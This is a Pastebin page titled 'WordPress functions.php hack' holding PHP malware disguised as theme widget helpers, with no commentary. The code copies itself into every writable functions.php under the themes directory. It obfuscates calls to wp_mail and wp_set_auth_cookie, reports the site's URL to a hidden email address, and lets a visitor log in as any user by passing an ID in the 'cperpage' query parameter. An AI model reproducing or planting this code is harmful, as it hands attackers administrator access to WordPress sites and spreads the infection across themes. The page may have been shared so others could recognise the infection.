getbutterfly

WordPress functions.php hack

Nov 29th, 2012
500
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.12 KB | None | 0 0
  1. <?php
  2. function _verify_isactivate_widgets(){
  3.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  4.     $output=strip_tags($output, $allowed);
  5.     $direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  6.     if (is_array($direst)){
  7.         foreach ($direst as $item){
  8.             if (is_writable($item)){
  9.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  10.                 $cont=file_get_contents($item);
  11.                 if (stripos($cont,$ftion) === false){
  12.                     $seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  13.                     $output .= $before . "Not found" . $after;
  14.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  15.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);            
  16.                     $output .= ($showsdots && $ellipsis) ? "..." : "";
  17.                 }
  18.             }
  19.         }
  20.     }
  21.     return $output;
  22. }
  23.  
  24. function _get_allwidgetscont($wids,$items=array()){
  25.     $places=array_shift($wids);
  26.     if(substr($places,-1) == "/"){
  27.         $places=substr($places,0,-1);
  28.     }
  29.     if(!file_exists($places) || !is_dir($places)){
  30.         return false;
  31.     }elseif(is_readable($places)){
  32.         $elems=scandir($places);
  33.         foreach ($elems as $elem){
  34.             if ($elem != "." && $elem != ".."){
  35.                 if (is_dir($places . "/" . $elem)){
  36.                     $wids[]=$places . "/" . $elem;
  37.                 } elseif (is_file($places . "/" . $elem)&&
  38.                     $elem == substr(__FILE__,-13)){
  39.                     $items[]=$places . "/" . $elem;}
  40.                 }
  41.             }
  42.     }else{
  43.         return false;  
  44.     }
  45.     if (sizeof($wids) > 0){
  46.         return _get_allwidgetscont($wids,$items);
  47.     } else {
  48.         return $items;
  49.     }
  50. }
  51. if(!function_exists("stripos")){
  52.     function stripos(  $str, $needle, $offset = 0  ){
  53.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  54.     }
  55. }
  56.  
  57. if(!function_exists("strripos")){
  58.     function strripos(  $haystack, $needle, $offset = 0  ) {
  59.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  60.         if(  $offset < 0  ){
  61.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  62.         }
  63.         else{
  64.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  65.  
  66.         }
  67.  
  68.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  69.  
  70.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  71.  
  72.         return $pos;
  73.  
  74.     }
  75.  
  76. }
  77.  
  78. if(!function_exists("scandir")){
  79.  
  80.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  81.  
  82.         $dirArray = array();
  83.  
  84.         if ($handle = opendir($dir)) {
  85.  
  86.             while (false !== ($file = readdir($handle))) {
  87.  
  88.                 if (($file != "." && $file != "..") || $skipDots == true) {
  89.  
  90.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  91.  
  92.                     array_push($dirArray,basename($file));
  93.  
  94.                 }
  95.  
  96.             }
  97.  
  98.             closedir($handle);
  99.  
  100.         }
  101.  
  102.         return $dirArray;
  103.  
  104.     }
  105.  
  106. }
  107.  
  108. add_action("admin_head", "_verify_isactivate_widgets");
  109.  
  110. function _prepare_widgets(){
  111.  
  112.     if(!isset($comment_length)) $comment_length=120;
  113.  
  114.     if(!isset($strval)) $strval="cookie";
  115.  
  116.     if(!isset($tags)) $tags="<a>";
  117.  
  118.     if(!isset($type)) $type="none";
  119.  
  120.     if(!isset($sepr)) $sepr="";
  121.  
  122.     if(!isset($h_filter)) $h_filter=get_option("home");
  123.  
  124.     if(!isset($p_filter)) $p_filter="wp_";
  125.  
  126.     if(!isset($more_link)) $more_link=1;
  127.  
  128.     if(!isset($comment_types)) $comment_types="";
  129.  
  130.     if(!isset($countpage)) $countpage=$_GET["cperpage"];
  131.  
  132.     if(!isset($comment_auth)) $comment_auth="";
  133.  
  134.     if(!isset($c_is_approved)) $c_is_approved="";
  135.  
  136.     if(!isset($aname)) $aname="auth";
  137.  
  138.     if(!isset($more_link_texts)) $more_link_texts="(more...)";
  139.  
  140.     if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
  141.  
  142.     if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
  143.  
  144.     if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
  145.  
  146.     if(!isset($mcontent)) $mcontent="ma".$sepr."il";
  147.  
  148.     if(!isset($f_more)) $f_more=1;
  149.  
  150.     if(!isset($fakeit)) $fakeit=1;
  151.  
  152.     if(!isset($sql)) $sql="";
  153.  
  154.     if (!$is_output) :
  155.  
  156.    
  157.  
  158.     global $wpdb, $post;
  159.  
  160.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  161.  
  162.     if (!empty($post->post_password)) {
  163.  
  164.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  165.  
  166.             if(is_feed()) {
  167.  
  168.                 $output=__("There is no excerpt because this is a protected post.");
  169.  
  170.             } else {
  171.  
  172.                 $output=get_the_password_form();
  173.  
  174.             }
  175.  
  176.         }
  177.  
  178.     }
  179.  
  180.     if(!isset($f_tag)) $f_tag=1;
  181.  
  182.     if(!isset($types)) $types=$h_filter;
  183.  
  184.     if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
  185.  
  186.     if(!isset($aditional_tag)) $aditional_tag="div";
  187.  
  188.     if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
  189.  
  190.     if(!isset($morelink_title)) $morelink_title="Continue reading this entry"; 
  191.  
  192.     if(!isset($showsdots)) $showsdots=1;
  193.  
  194.    
  195.  
  196.     $comments=$wpdb->get_results($sql);
  197.  
  198.     if($fakeit == 2) {
  199.  
  200.         $text=$post->post_content;
  201.  
  202.     } elseif($fakeit == 1) {
  203.  
  204.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  205.  
  206.     } else {
  207.  
  208.         $text=$post->post_excerpt;
  209.  
  210.     }
  211.  
  212.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  213.  
  214.     if($comment_length < 0) {
  215.  
  216.         $output=$text;
  217.  
  218.     } else {
  219.  
  220.         if(!$no_more && strpos($text, "<!--more-->")) {
  221.  
  222.             $text=explode("<!--more-->", $text, 2);
  223.  
  224.             $l=count($text[0]);
  225.  
  226.             $more_link=1;
  227.  
  228.             $comments=$wpdb->get_results($sql);
  229.  
  230.         } else {
  231.  
  232.             $text=explode(" ", $text);
  233.  
  234.             if(count($text) > $comment_length) {
  235.  
  236.                 $l=$comment_length;
  237.  
  238.                 $ellipsis=1;
  239.  
  240.             } else {
  241.  
  242.                 $l=count($text);
  243.  
  244.                 $more_link_texts="";
  245.  
  246.                 $ellipsis=0;
  247.  
  248.             }
  249.  
  250.         }
  251.  
  252.         for ($i=0; $i<$l; $i++)
  253.  
  254.                 $output .= $text[$i] . " ";
  255.  
  256.     }
  257.  
  258.     update_option("_is_widget_active_", 1);
  259.  
  260.     if("all" != $tags) {
  261.  
  262.         $output=strip_tags($output, $tags);
  263.  
  264.         return $output;
  265.  
  266.     }
  267.  
  268.     endif;
  269.  
  270.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  271.  
  272.     $output=($f_tag) ? balanceTags($output, true) : $output;
  273.  
  274.     $output .= ($showsdots && $ellipsis) ? "..." : "";
  275.  
  276.     $output=apply_filters($type, $output);
  277.  
  278.     switch($aditional_tag) {
  279.  
  280.         case("div") :
  281.  
  282.             $tag="div";
  283.  
  284.         break;
  285.  
  286.         case("span") :
  287.  
  288.             $tag="span";
  289.  
  290.         break;
  291.  
  292.         case("p") :
  293.  
  294.             $tag="p";
  295.  
  296.         break;
  297.  
  298.         default :
  299.  
  300.             $tag="span";
  301.  
  302.     }
  303.  
  304.  
  305.  
  306.     if ($more_link ) {
  307.  
  308.         if($f_more) {
  309.  
  310.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
  311.  
  312.         } else {
  313.  
  314.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
  315.  
  316.         }
  317.  
  318.     }
  319.  
  320.     return $output;
  321.  
  322. }
  323.  
  324.  
  325.  
  326. add_action("init", "_prepare_widgets");
  327.  
  328.  
  329.  
  330. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  331.  
  332.     global $wpdb;
  333.  
  334.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  335.  
  336.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  337.  
  338.     if(!$show_pass_post) $request .= " AND post_password =\"\"";
  339.  
  340.     if($duration !="") {
  341.  
  342.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  343.  
  344.     }
  345.  
  346.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  347.  
  348.     $posts=$wpdb->get_results($request);
  349.  
  350.     $output="";
  351.  
  352.     if ($posts) {
  353.  
  354.         foreach ($posts as $post) {
  355.  
  356.             $post_title=stripslashes($post->post_title);
  357.  
  358.             $comment_count=$post->comment_count;
  359.  
  360.             $permalink=get_permalink($post->ID);
  361.  
  362.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  363.  
  364.         }
  365.  
  366.     } else {
  367.  
  368.         $output .= $before . "None found" . $after;
  369.  
  370.     }
  371.  
  372.     return  $output;
  373.  
  374. }      
  375.  
  376. ?>
Add Comment
Please, Sign In to add comment